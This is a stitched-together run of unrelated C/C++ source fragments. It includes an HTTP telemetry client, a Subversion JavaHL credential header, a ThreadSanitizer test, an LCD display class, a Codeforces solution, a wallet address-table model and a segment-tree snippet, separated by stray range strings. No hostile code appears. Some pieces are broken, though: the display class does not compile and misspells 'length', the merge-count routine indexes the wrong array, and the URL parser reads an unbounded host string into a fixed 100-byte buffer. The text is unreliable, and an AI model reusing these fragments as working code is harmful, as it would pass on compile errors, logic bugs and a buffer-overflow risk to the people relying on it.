ParseHttpUrl(strMonitorUrl,m_oMonitorServerInfo); ParseHttpUrl(strDetailMonitorUrl,m_oDetailMonitorServerInfo); ParseHttpUrl(strDgsUrl,m_oDgsServerInfo); ParseHttpUrl(strErrUrl,m_oErrUrl); } void CCohClientImp::ParseHttpUrl(const string &strUrl,SHttpServerInfo & oServerInfo) { char szHost[100]={0}; char szPath[200]={'/','\0'}; oServerInfo.dwPort=80; if (sscanf (strUrl.c_str(), "%*[HTTPhttp]://%[^:/]:%u/%199s", szHost, &oServerInfo.dwPort, szPath)!=3) { if (sscanf (strUrl.c_str(), "%*[HTTPhttp]://%[^:/]:%u", szHost, &oServerInfo.dwPort)!=2) { sscanf (strUrl.c_str(), "%*[HTTPhttp]://%[^:/]/%s", szHost, szPath); } } oServerInfo.strIp = szHost; oServerInfo.strPath = szPath; } void CCohClientImp::SendDataToMonitor(const string &strContent) { string strRequest; strRequest.append("POST /"+m_oMonitorServerInfo.strPath+" HTTP/1.0\r\n"); strRequest.append("Accept: */*\r\n"); strRequest.append("Content-Type: application/x-www-form-urlencoded\r\n"); strRequest.append("User-Agent: COH Client/1.0\r\n"); char szBuf[128]={0}; snprintf(szBuf,127,"Host: %s:%d\r\n",m_oMonitorServerInfo.strIp.c_str(),m_oMonitorServerInfo.dwPort); strRequest.append(szBuf); char bufLength[48]={0}; sprintf(bufLength,"Content-Length: %d\r\n",strContent.length()); strRequest.append(bufLength); strRequest.append("Connection: close\r\n\r\n"); strRequest.append(strContent); DoSendRequest(m_oMonitorServerInfo.strIp,m_oMonitorServerInfo.dwPort,strRequest); } void CCohClientImp::SendDetailDataToMonitor(const string &strContent) { string strRequest; strRequest.append("POST /"+m_oDetailMonitorServerInfo.strPath+" HTTP/1.0\r\n"); strRequest.append("Accept: */*\r\n"); strRequest.append("Content-Type: application/x-www-form-urlencoded\r\n"); strRequest.append("User-Agent: COH Client/1.0\r\n"); char szBuf[128]={0}; snprintf(szBuf,127,"Host: %s:%d\r\n",m_oDetailMonitorServerInfo.strIp.c_str(),m_oDetailMonitorServerInfo.dwPort); strRequest.append(szBuf); char bufLength[48]={0}; sprintf(bufLength,"Content-Length: %d\r\n",strContent.length()); strRequest.append(bufLength); strRequest.append("Connection: close\r\n\r\n"); strRequest.append(strContent); DoSendRequest(m_oDetailMonitorServerInfo.strIp,m_oDetailMonitorServerInfo.dwPort,strRequest); } void CCohClientImp::SendToDgs(const string &strContent) { string strRequest; strRequest.append("POST /"+m_oDgsServerInfo.strPath+" HTTP/1.0\r\n"); strRequest.append("Accept: */*\r\n"); strRequest.append("Content-Type: application/x-www-form-urlencoded\r\n"); strRequest.append("User-Agent: COH Client/1.0\r\n"); char szBuf[128]={0}; snprintf(szBuf,127,"Host: %s:%d\r\n",m_oDgsServerInfo.strIp.c_str(),m_oDgsServerInfo.dwPort); strRequest.append(szBuf); char bufLength[48]={0}; sprintf(bufLength,"Content-Length: %d\r\n",strContent.length()); strRequest.append(bufLength); strRequest.append("Connection: close\r\n\r\n"); strRequest.append(strContent); DoSendRequest(m_oDgsServerInfo.strIp,m_oDgsServerInfo.dwPort,strRequest); } void CCohClientImp::SendErrRequest(const string &strContent) { char szBuf[128]={0}; snprintf(szBuf,127,"Host: %s:%d\r\n",m_oErrUrl.strIp.c_str(),m_oErrUrl.dwPort); string strRequest("GET /"); strRequest.append(m_oErrUrl.strPath+"?"+strContent+" HTTP/1.0\r\n"); strRequest.append("Accept: */*\r\n"); strRequest.append("User-Agent: COH Client/1.0\r\n"); strRequest.append(szBuf); strRequest.append("Connection: close\r\n\r\n"); DoSendRequest(m_oErrUrl.strIp,m_oErrUrl.dwPort,strRequest); } void CCohClientImp::OnReceiveResponse(const string &strResponse) { int httpCode=0; sscanf(strResponse.c_str(),"%*[HTTPhttp]/%*f %d",&httpCode); if(httpCode<200||httpCode>=300) { CS_XLOG(XLOG_WARNING,"CCohClientImp::OnReceiveResponse,httpCode[%d]\n",httpCode); } } 1-10 /** * @copyright * ==================================================================== * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * ==================================================================== * @endcopyright */ #ifndef SVN_JAVAHL_CREDENTIAL_HPP #define SVN_JAVAHL_CREDENTIAL_HPP #include "jniwrapper/jni_object.hpp" #include "jniwrapper/jni_string.hpp" #include "AuthnCallback.hpp" namespace JavaHL { /** * Object wrapper for @c org.apache.subversion.javahl.SVNUtil.Credential. * * @since New in 1.9. */ class Credential : public ::Java::Object { public: /** * Object wrapper for @c ...Credential$Kind. */ class Kind : public ::Java::Object { public: /** * Constructs a and wraps a new Credential$Kind object. */ explicit Kind(::Java::Env env, const ::Java::String& value); private: /** * This object's implementation details. */ class ClassImpl : public Object::ClassImpl { friend class ::Java::ClassCacheImpl; protected: explicit ClassImpl(::Java::Env env, jclass cls); public: virtual ~ClassImpl(); const ::Java::MethodID m_static_mid_from_string; }; const ClassImpl& impl() const { return *dynamic_cast(m_impl); } friend class ::Java::ClassCacheImpl; static const char* const m_class_name; }; /** * Constructs a wrapper around @a jthis. * The constructor does not verify the class of the wrapped object. */ explicit Credential(::Java::Env env, jobject jthis) : ::Java::Object(env, ::Java::ClassCache::get_credential(env), jthis) {} /** * Constructs and wraps a new Credential object */ explicit Credential(::Java::Env env, jobject kind, const ::Java::String& realm, const ::Java::String& store, const ::Java::String& username, const ::Java::String& password, jobject info, jobject failures, const ::Java::String& passphrase); private: /** * This object's implementation details. */ class ClassImpl : public Object::ClassImpl { friend class ::Java::ClassCacheImpl; protected: explicit ClassImpl(::Java::Env env, jclass cls); public: virtual ~ClassImpl(); const ::Java::MethodID m_mid_ctor; }; const ClassImpl& impl() const { return *dynamic_cast(m_impl); } friend class ::Java::ClassCacheImpl; static const char* const m_class_name; }; } // namespace JavaHL #endif // SVN_JAVAHL_CREDENTIAL_HPP #pragma once #include #include #include #include #include "../common/define.hpp" using namespace std; namespace shine { namespace pool { template class simple { public: simple(uint32 bluck_size = 10240, bool auto_expand = true) { _bluck_size = bluck_size; _auto_expand = auto_expand; } ~simple() { clear(); } T* take() { std::unique_lock lock(_mutex); if (_elements.empty()) { if (!_auto_expand) return nullptr; expand_bluck(); } T *ret = _elements.front(); _elements.pop_front(); return ret; } void put(T* item) { std::unique_lock lock(_mutex); _elements.push_front(item); } void clear() { std::unique_lock lock(_mutex); for (auto bluck : _blucks) { delete[] bluck; } _blucks.clear(); _elements.clear(); } private: void expand_bluck() { std::unique_lock lock(_mutex); T *bluck = new T[_bluck_size]; for (uint32 i = 0; i < _bluck_size; i++) _elements.push_front(bluck + i); _blucks.push_front(bluck); } private: std::forward_list _elements; std::forward_list _blucks; uint32 _bluck_size = 0; bool _auto_expand = true; std::recursive_mutex _mutex; }; } } 100-1000 AFX_DOCKSITE_INFO info; CDockSite *pDockBar = (CDockSite*)info.pDockBarRTC->CreateObject();// RUN: %clang_tsan -O1 %s -o %t && %deflake %run %t | FileCheck %s // Longjmp assembly has not been implemented for mips64 yet // XFAIL: mips64 #include #include #include #include #include void bar(jmp_buf env) { volatile int x = 42; jmp_buf env2; memcpy(env2, env, sizeof(jmp_buf)); longjmp(env2, 42); x++; } void foo(jmp_buf env) { volatile int x = 42; bar(env); x++; } void badguy() { pthread_mutex_t mtx; pthread_mutex_init(&mtx, 0); pthread_mutex_lock(&mtx); pthread_mutex_destroy(&mtx); } void mymain() { jmp_buf env; if (setjmp(env) == 42) { badguy(); return; } foo(env); printf("FAILED\n"); } int main() { volatile int x = 42; mymain(); return x; } // CHECK-NOT: FAILED // CHECK: WARNING: ThreadSanitizer: destroy of a locked mutex // CHECK: #0 pthread_mutex_destroy // CHECK: #1 badguy // CHECK: #2 mymain // CHECK: #3 main #include #include class Display{ private: constant int X = 16; constant int Y = 4; int[6] lcdPinList; public: Display(int pin1, int pin2, int pin3, int pin4, int pin5, int pin6){ lcd.begin(X, Y); lcdPinList[0] = pin1; lcdPinList[1] = pin2; lcdPinList[2] = pin3; lcdPinList[3] = pin4; lcdPinList[4] = pin5; lcdPinList[5] = pin6; } void showMessage(string getLine1, string getLine2, string getLine3, string getLine4){ lcd.setCursor(0, 1); lcd.print(textToCenter(getLine1)); getLine2.lenght() <= 16){ lcd.setCursor(1, 1); lcd.print(textToCenter(getLine2)); lcd.setCursor(2, 1); lcd.print(textToCenter(getLine3)); lcd.setCursor(3, 1); lcd.print(textToCenter(getLine4)); } string textToCenter(string getMessage){ int space; string messageForReturn = ""; if(getMessage.lenght() <= 16){ space = (16 - getMessage.lenght()) / 2; for(int q = 0; i < space ; q++){ messageForReturn = messageForReturn + " "; } messageForReturn = messageForReturn + getMessage; for(int q = 0; i < space ; q++){ messageForReturn = messageForReturn + " "; } return messageForReturn; }else{ return "ERROR: SO LONG"; } } } 1-10 /**************************************************************************************** * @author: kzvd4729 created: Jul/23/2018 17:54 * solution_verdict: Accepted language: GNU C++17 * run_time: 171 ms memory_used: 800 KB * problem: https://codeforces.com/contest/697/problem/E ****************************************************************************************/ #include #define long long long using namespace std; const long mod=1e9+7; const int N=1e5; long n,arr[N+2],sum; long bigmod(long b,long p,long mod) { long ret=1LL; while(p) { if(p&1)ret=(ret*b)%mod; b=(b*b)%mod; p/=2; } return ret; } int main() { ios_base::sync_with_stdio(0); cin.tie(0); cin>>n; for(int i=1;i<=n;i++) cin>>arr[i]; long up=2,dw=1; int f=0; for(int i=1;i<=n;i++) { if(arr[i]%2==0)f=1; up=bigmod(up,arr[i],mod)%mod; } up=(up*bigmod(2,mod-2,mod))%mod; dw=up; if(f)up=(up+1)%mod; else up=(up-1+mod)%mod; up=(up*bigmod(3,mod-2,mod))%mod; cout<size() ); LOG(LEVEL) << " NumberOfSkinSurfaces num_src " << num_src ; for(size_t i=0 ; i < m_src->size() ; i++) { G4LogicalSkinSurface* src = (*m_src)[i] ; LOG(LEVEL) << src->GetName() ; GSkinSurface* dst = X4LogicalSkinSurface::Convert( src, m_mode ); assert( dst ); m_dst->add(dst) ; // GSurfaceLib } } sirikata/sirikatalibspace/include/sirikata/space/OSegLookupTraceToken.hpp /* Sirikata * OSegLookupTraceToken.hpp * * Copyright (c) 2010, * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * Neither the name of Sirikata nor the names of its contributors may * be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef __OSEG_LOOKUP_TRACE_TOKEN__ #define __OSEG_LOOKUP_TRACE_TOKEN__ #include #include namespace Sirikata { struct SIRIKATA_SPACE_EXPORT OSegLookupTraceToken { enum OSegTraceStage { OSEG_TRACE_INITIAL_LOOKUP_TIME, OSEG_TRACE_CHECK_CACHE_LOCAL_BEGIN, OSEG_TRACE_CHECK_CACHE_LOCAL_END, OSEG_TRACE_CRAQ_LOOKUP_BEGIN, OSEG_TRACE_CRAQ_LOOKUP_END, OSEG_TRACE_CRAQ_LOOKUP_NOT_ALREADY_LOOKING_UP_BEGIN, OSEG_TRACE_CRAQ_LOOKUP_NOT_ALREADY_LOOKING_UP_END, OSEG_TRACE_GET_MANAGER_ENQUEUE_BEGIN, OSEG_TRACE_GET_MANAGER_ENQUEUE_END, OSEG_TRACE_GET_MANAGER_DEQUEUED, OSEG_TRACE_GET_CONNECTION_NETWORK_GET_BEGIN, OSEG_TRACE_GET_CONNECTION_NETWORK_GET_END, OSEG_TRACE_GET_CONNECTION_NETWORK_RECEIVED, OSEG_TRACE_LOOKUP_RETURN_BEGIN, OSEG_TRACE_LOOKUP_RETURN_END }; OSegLookupTraceToken(const UUID& uID,bool loggingOn); OSegLookupTraceToken(bool loggingOn); /*****Additional***/ UUID mID; ServerID lookerUpper; ServerID locatedOn; bool mLoggingOn; /********FLAGS********/ //AsyncConnectionGet::get bool notReady; //Lots of places bool shuttingDown; //AsyncConnectionGet::queryTimeout bool deadlineExpired; //AsyncConnectionGet::processNotFound bool notFound; /***TIMES****/ //CraqObjectSegmentation::get uint64 initialLookupTime; //CraqObjectSegmentation::get uint64 checkCacheLocalBegin; //CraqObjectSegmentation::get uint64 checkCacheLocalEnd; uint64 osegQLenPostQuery; //CraqObjectSegmentation::beginning of beginCraqLookup //anything that gets to beginCraqLookupGets to here uint64 craqLookupBegin; //CraqObjectSegmentation::end of beginCraqLookup uint64 craqLookupEnd; //CraqObjectSegmentation::beginCraqLookup//wasn't already being looked up begin uint64 craqLookupNotAlreadyLookingUpBegin; //CraqObjectSegmentation::beginCraqLookup uint64 craqLookupNotAlreadyLookingUpEnd; //AsyncCraqGet::get uint64 getManagerEnqueueBegin; //AsyncCraqGet::get uint64 getManagerEnqueueEnd; //AsyncCraqGet::checkConnections uint64 getManagerDequeued; //AsyncConnectionGet::get uint64 getConnectionNetworkGetBegin; //AsyncConnectionGet::get uint64 getConnectionNetworkGetEnd; //AsyncConnectionGet::processValueFound uint64 getConnectionNetworkReceived; uint64 osegQLenPostReturn; //CraqObjectSegmentation:craqGetResult uint64 lookupReturnBegin; //CraqObjectSegmentation:craqGetResult uint64 lookupReturnEnd; void printCumulativeTraceToken(); void stamp(OSegTraceStage osts); }; } #endif // Copyright (c) 2011-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2019 The PIVX developers // Copyright (c) 2019 The TradePlus_Coin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "addresstablemodel.h" #include "guiutil.h" #include "walletmodel.h" #include "base58.h" #include "wallet/wallet.h" #include "askpassphrasedialog.h" #include #include const QString AddressTableModel::Send = "S"; const QString AddressTableModel::Receive = "R"; const QString AddressTableModel::Zerocoin = "X"; struct AddressTableEntry { enum Type { Sending, Receiving, Zerocoin, Hidden /* QSortFilterProxyModel will filter these out */ }; Type type; QString label; QString address; QString pubcoin; uint creationTime; AddressTableEntry() {} AddressTableEntry(Type type, const QString &pubcoin): type(type), pubcoin(pubcoin) {} AddressTableEntry(Type type, const QString& label, const QString& address, const uint _creationTime) : type(type), label(label), address(address), creationTime(_creationTime) {} }; struct AddressTableEntryLessThan { bool operator()(const AddressTableEntry& a, const AddressTableEntry& b) const { return a.address < b.address; } bool operator()(const AddressTableEntry& a, const QString& b) const { return a.address < b; } bool operator()(const QString& a, const AddressTableEntry& b) const { return a < b.address; } }; /* Determine address type from address purpose */ static AddressTableEntry::Type translateTransactionType(const QString& strPurpose, bool isMine) { AddressTableEntry::Type addressType = AddressTableEntry::Hidden; // "refund" addresses aren't shown, and change addresses aren't in mapAddressBook at all. if (strPurpose == "send") addressType = AddressTableEntry::Sending; else if (strPurpose == "receive") addressType = AddressTableEntry::Receiving; else if (strPurpose == "unknown" || strPurpose == "") // if purpose not set, guess addressType = (isMine ? AddressTableEntry::Receiving : AddressTableEntry::Sending); return addressType; } // Private implementation class AddressTablePriv { public: CWallet* wallet; QList cachedAddressTable; int sendNum = 0; int recvNum = 0; AddressTableModel* parent; AddressTablePriv(CWallet* wallet, AddressTableModel* parent) : wallet(wallet), parent(parent) {} void refreshAddressTable() { cachedAddressTable.clear(); { LOCK(wallet->cs_wallet); for (const PAIRTYPE(CTxDestination, CAddressBookData) & item : wallet->mapAddressBook) { const CBitcoinAddress& address = item.first; bool fMine = IsMine(*wallet, address.Get()); AddressTableEntry::Type addressType = translateTransactionType( QString::fromStdString(item.second.purpose), fMine); const std::string& strName = item.second.name; uint creationTime = 0; if(item.second.purpose == "receive"){ creationTime = static_cast(wallet->GetKeyCreationTime(address)); recvNum++; }else if(item.second.purpose == "send"){ sendNum++; } cachedAddressTable.append( AddressTableEntry(addressType, QString::fromStdString(strName), QString::fromStdString(address.ToString()), creationTime ) ); } } // qLowerBound() and qUpperBound() require our cachedAddressTable list to be sorted in asc order // Even though the map is already sorted this re-sorting step is needed because the originating map // is sorted by binary address, not by base58() address. qSort(cachedAddressTable.begin(), cachedAddressTable.end(), AddressTableEntryLessThan()); } void updateEntry(const QString& address, const QString& label, bool isMine, const QString& purpose, int status) { // Find address / label in model QList::iterator lower = qLowerBound( cachedAddressTable.begin(), cachedAddressTable.end(), address, AddressTableEntryLessThan()); QList::iterator upper = qUpperBound( cachedAddressTable.begin(), cachedAddressTable.end(), address, AddressTableEntryLessThan()); int lowerIndex = (lower - cachedAddressTable.begin()); int upperIndex = (upper - cachedAddressTable.begin()); bool inModel = (lower != upper); AddressTableEntry::Type newEntryType = translateTransactionType(purpose, isMine); switch (status) { case CT_NEW: { if (inModel) { qWarning() << "AddressTablePriv::updateEntry : Warning: Got CT_NEW, but entry is already in model"; break; } uint creationTime = 0; if (purpose == "receive") { creationTime = static_cast(wallet->GetKeyCreationTime(CBitcoinAddress(address.toStdString()))); recvNum++; } else if (purpose == "send") { sendNum++; } parent->beginInsertRows(QModelIndex(), lowerIndex, lowerIndex); cachedAddressTable.insert(lowerIndex, AddressTableEntry(newEntryType, label, address, creationTime)); parent->endInsertRows(); break; } case CT_UPDATED: { if (!inModel) { qWarning() << "AddressTablePriv::updateEntry : Warning: Got CT_UPDATED, but entry is not in model"; break; } lower->type = newEntryType; lower->label = label; parent->emitDataChanged(lowerIndex); break; } case CT_DELETED: { if (!inModel) { qWarning() << "AddressTablePriv::updateEntry : Warning: Got CT_DELETED, but entry is not in model"; break; } parent->beginRemoveRows(QModelIndex(), lowerIndex, upperIndex - 1); cachedAddressTable.erase(lower, upper); parent->endRemoveRows(); if (purpose == "receive") { recvNum--; } else if (purpose == "send") { sendNum--; } break; } } } void updateEntry(const QString &pubCoin, const QString &isUsed, int status) { // Find address / label in model QList::iterator lower = qLowerBound( cachedAddressTable.begin(), cachedAddressTable.end(), pubCoin, AddressTableEntryLessThan()); QList::iterator upper = qUpperBound( cachedAddressTable.begin(), cachedAddressTable.end(), pubCoin, AddressTableEntryLessThan()); int lowerIndex = (lower - cachedAddressTable.begin()); bool inModel = (lower != upper); AddressTableEntry::Type newEntryType = AddressTableEntry::Zerocoin; switch(status) { case CT_NEW: if(inModel) { qWarning() << "AddressTablePriv_ZC::updateEntry : Warning: Got CT_NEW, but entry is already in model"; } parent->beginInsertRows(QModelIndex(), lowerIndex, lowerIndex); cachedAddressTable.insert(lowerIndex, AddressTableEntry(newEntryType, isUsed, pubCoin, 0)); parent->endInsertRows(); break; case CT_UPDATED: if(!inModel) { qWarning() << "AddressTablePriv_ZC::updateEntry : Warning: Got CT_UPDATED, but entry is not in model"; break; } lower->type = newEntryType; lower->label = isUsed; parent->emitDataChanged(lowerIndex); break; } } int size() { return cachedAddressTable.size(); } int sizeSend(){ return sendNum; } int sizeRecv(){ return recvNum; } AddressTableEntry* index(int idx) { if (idx >= 0 && idx < cachedAddressTable.size()) { return &cachedAddressTable[idx]; } else { return 0; } } }; AddressTableModel::AddressTableModel(CWallet* wallet, WalletModel* parent) : QAbstractTableModel(parent), walletModel(parent), wallet(wallet), priv(0) { columns << tr("Label") << tr("Address") << tr("Date"); priv = new AddressTablePriv(wallet, this); priv->refreshAddressTable(); } AddressTableModel::~AddressTableModel() { delete priv; } int AddressTableModel::rowCount(const QModelIndex& parent) const { Q_UNUSED(parent); return priv->size(); } int AddressTableModel::columnCount(const QModelIndex& parent) const { Q_UNUSED(parent); return columns.length(); } int AddressTableModel::sizeSend() const{ return priv->sizeSend(); } int AddressTableModel::sizeRecv() const{ return priv->sizeRecv(); } QVariant AddressTableModel::data(const QModelIndex& index, int role) const { if (!index.isValid()) return QVariant(); AddressTableEntry* rec = static_cast(index.internalPointer()); if (role == Qt::DisplayRole || role == Qt::EditRole) { switch (index.column()) { case Label: if (rec->label.isEmpty() && role == Qt::DisplayRole) { return tr("(no label)"); } else { return rec->label; } case Address: return rec->address; case Date: return rec->creationTime; } } else if (role == Qt::FontRole) { QFont font; if (index.column() == Address) { font = GUIUtil::bitcoinAddressFont(); } return font; } else if (role == TypeRole) { switch (rec->type) { case AddressTableEntry::Sending: return Send; case AddressTableEntry::Receiving: return Receive; default: break; } } return QVariant(); } bool AddressTableModel::setData(const QModelIndex& index, const QVariant& value, int role) { if (!index.isValid()) return false; AddressTableEntry* rec = static_cast(index.internalPointer()); std::string strPurpose = (rec->type == AddressTableEntry::Sending ? "send" : "receive"); editStatus = OK; if (role == Qt::EditRole) { LOCK(wallet->cs_wallet); /* For SetAddressBook / DelAddressBook */ CTxDestination curAddress = CBitcoinAddress(rec->address.toStdString()).Get(); if (index.column() == Label) { // Do nothing, if old label == new label if (rec->label == value.toString()) { editStatus = NO_CHANGES; return false; } wallet->SetAddressBook(curAddress, value.toString().toStdString(), strPurpose); } else if (index.column() == Address) { CTxDestination newAddress = CBitcoinAddress(value.toString().toStdString()).Get(); // Refuse to set invalid address, set error status and return false if (boost::get(&newAddress)) { editStatus = INVALID_ADDRESS; return false; } // Do nothing, if old address == new address else if (newAddress == curAddress) { editStatus = NO_CHANGES; return false; } // Check for duplicate addresses to prevent accidental deletion of addresses, if you try // to paste an existing address over another address (with a different label) else if (wallet->mapAddressBook.count(newAddress)) { editStatus = DUPLICATE_ADDRESS; return false; } // Double-check that we're not overwriting a receiving address else if (rec->type == AddressTableEntry::Sending) { // Remove old entry wallet->DelAddressBook(curAddress); // Add new entry with new address wallet->SetAddressBook(newAddress, rec->label.toStdString(), strPurpose); } } return true; } return false; } QVariant AddressTableModel::headerData(int section, Qt::Orientation orientation, int role) const { if (orientation == Qt::Horizontal) { if (role == Qt::DisplayRole && section < columns.size()) { return columns[section]; } } return QVariant(); } Qt::ItemFlags AddressTableModel::flags(const QModelIndex& index) const { if (!index.isValid()) return 0; AddressTableEntry* rec = static_cast(index.internalPointer()); Qt::ItemFlags retval = Qt::ItemIsSelectable | Qt::ItemIsEnabled; // Can edit address and label for sending addresses, // and only label for receiving addresses. if (rec->type == AddressTableEntry::Sending || (rec->type == AddressTableEntry::Receiving && index.column() == Label)) { retval |= Qt::ItemIsEditable; } return retval; } QModelIndex AddressTableModel::index(int row, int column, const QModelIndex& parent) const { Q_UNUSED(parent); AddressTableEntry* data = priv->index(row); if (data) { return createIndex(row, column, priv->index(row)); } else { return QModelIndex(); } } void AddressTableModel::updateEntry(const QString& address, const QString& label, bool isMine, const QString& purpose, int status) { // Update address book model from TradePlus_coin priv->updateEntry(address, label, isMine, purpose, status); } void AddressTableModel::updateEntry(const QString &pubCoin, const QString &isUsed, int status) { // Update stealth address book model from Bitcoin core priv->updateEntry(pubCoin, isUsed, status); } QString AddressTableModel::addRow(const QString& type, const QString& label, const QString& address) { std::string strLabel = label.toStdString(); std::string strAddress = address.toStdString(); editStatus = OK; if (type == Send) { if (!walletModel->validateAddress(address)) { editStatus = INVALID_ADDRESS; return QString(); } // Check for duplicate addresses { LOCK(wallet->cs_wallet); if (wallet->mapAddressBook.count(CBitcoinAddress(strAddress).Get())) { editStatus = DUPLICATE_ADDRESS; return QString(); } } } else if (type == Receive) { // Generate a new address to associate with given label CPubKey newKey; if (!wallet->GetKeyFromPool(newKey)) { WalletModel::UnlockContext ctx(walletModel->requestUnlock(AskPassphraseDialog::Context::Unlock_Full, true)); if (!ctx.isValid()) { // Unlock wallet failed or was cancelled editStatus = WALLET_UNLOCK_FAILURE; return QString(); } if (!wallet->GetKeyFromPool(newKey)) { editStatus = KEY_GENERATION_FAILURE; return QString(); } } strAddress = CBitcoinAddress(newKey.GetID()).ToString(); } else { return QString(); } // Add entry { LOCK(wallet->cs_wallet); wallet->SetAddressBook(CBitcoinAddress(strAddress).Get(), strLabel, (type == Send ? "send" : "receive")); } return QString::fromStdString(strAddress); } bool AddressTableModel::removeRows(int row, int count, const QModelIndex& parent) { Q_UNUSED(parent); AddressTableEntry* rec = priv->index(row); if (count != 1 || !rec || rec->type == AddressTableEntry::Receiving) { // Can only remove one row at a time, and cannot remove rows not in model. // Also refuse to remove receiving addresses. return false; } { LOCK(wallet->cs_wallet); return wallet->DelAddressBook(CBitcoinAddress(rec->address.toStdString()).Get()); } } /* Look up label for address in address book, if not found return empty string. */ QString AddressTableModel::labelForAddress(const QString& address) const { { LOCK(wallet->cs_wallet); CBitcoinAddress address_parsed(address.toStdString()); std::map::iterator mi = wallet->mapAddressBook.find(address_parsed.Get()); if (mi != wallet->mapAddressBook.end()) { return QString::fromStdString(mi->second.name); } } return QString(); } int AddressTableModel::lookupAddress(const QString& address) const { QModelIndexList lst = match(index(0, Address, QModelIndex()), Qt::EditRole, address, 1, Qt::MatchExactly); if (lst.isEmpty()) { return -1; } else { return lst.at(0).row(); } } /** * Return last created unused address --> TODO: complete "unused".. * @return */ QString AddressTableModel::getLastUnusedAddress() const{ LOCK(wallet->cs_wallet); if(!wallet->mapAddressBook.empty()) { for (std::map::iterator it = wallet->mapAddressBook.end(); it != wallet->mapAddressBook.begin(); --it) { if(it != wallet->mapAddressBook.end()) { if (it->second.purpose == "receive") { const CBitcoinAddress &address = it->first; bool fMine = IsMine(*wallet, address.Get()); if (fMine) { return QString::fromStdString(address.ToString()); } } } } } return QString(); } void AddressTableModel::emitDataChanged(int idx) { emit dataChanged(index(idx, 0, QModelIndex()), index(idx, columns.length() - 1, QModelIndex())); } // (c) 2021 Okawo // This code is licensed under MIT license (see LICENSE for details) #include #include "virtualreality.h" #include #include class MyPoser : public hvr::UduPoserTemplate { public: MyPoser(std::string udu) : UduPoserTemplate(udu) { hvr::Log("MyPoser started\n"); //m_vPoses[0]->loc = { 0.0, 0.0, 0.0 }; //m_vPoses[0]->rot = { 1.0, 0.0, 0.0, 0.0 }; //m_vPoses[0]->vel = { 0.0, 0.0, 0.0 }; //m_vPoses[0]->ang_vel = { 0.0, 0.0, 0.0 }; m_vPoses[1]->loc = { -0.1, 0.0, 0.0 }; //m_vPoses[1]->rot = { 1.0, 0.0, 0.0, 0.0 }; //m_vPoses[1]->vel = { 0.0, 0.0, 0.0 }; //m_vPoses[1]->ang_vel = { 0.0, 0.0, 0.0 }; m_vPoses[1]->updateInputs({0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0}); m_vPoses[2]->loc = { 0.1, 0.0, 0.0 }; //m_vPoses[2]->rot = { 1.0, 0.0, 0.0, 0.0 }; //m_vPoses[2]->vel = { 0.0, 0.0, 0.0 }; //m_vPoses[2]->ang_vel = { 0.0, 0.0, 0.0 }; m_vPoses[2]->updateInputs({ 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 }); register_member_thread(std::bind(&MyPoser::my_thread, this), "my_thread", std::chrono::nanoseconds(10000000)); } void my_thread() { float h = 0; while (m_mThreadRegistry["my_thread"].is_alive) { m_vPoses[0]->loc = { 0.0, 0.0, sin(h) }; m_vPoses[0]->rot = { (float)cos(h), (float)0, (float)0, (float)sin(h) }; // steamvr is really sensitive to stale orientation at startup h += 0.01; std::this_thread::sleep_for(m_mThreadRegistry["my_thread"].sleep_delay); // thread sleep } m_mThreadRegistry["my_thread"].is_alive = false; // signal death } }; int main() { MyPoser pp("h c c"); if (pp.Start()); pp.Main(); return 0; }#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace std; //the RMQ implement const int MAX_N=1<<17; int n,dat[2*MAX_N-1]; const int INF=9999; //update the ith val to be x void Update(int idx,int x){ idx+=n; dat[idx]=x; while(idx>0){ int father=idx/2; if (dat[father]b) return INF; if (l>=a && r<=b) return dat[idx]; int vl=Query(a,b,idx*2,l,(l+r)/2); int vr=Query(a,b,idx*2+1,(l+r)/2,r); return min(vl,vr); } //the BIT inplement int bit[MAX_N+1]; void Init(){ memset(bit,0,sizeof(bit)); } int Sum(int idx){ int res=0; while(idx){ res+=bit[idx]; idx-=idx & (-idx); } return res; } void Add(int idx,int val){ while(idx &a){ if (a.size()<=1) return 0; int n=a.size(); vector b(a.begin(),a.begin()+n/2); vector c(a.begin()+n/2,a.end()); int cnt1=MergeCount(b); int cnt2=MergeCount(c); int p=0,q=0,r=0; int res=cnt1+cnt2; while(pc[q]) { res+=n/2-p; a[r++]=c[q++]; continue; } a[r++]=b[q++]; } return res; } int main (){ int a[]={3,1,4,2}; n=4; int res=0; vector av(a,a+n); res=MergeCount(av); cout< 2015 #ifndef 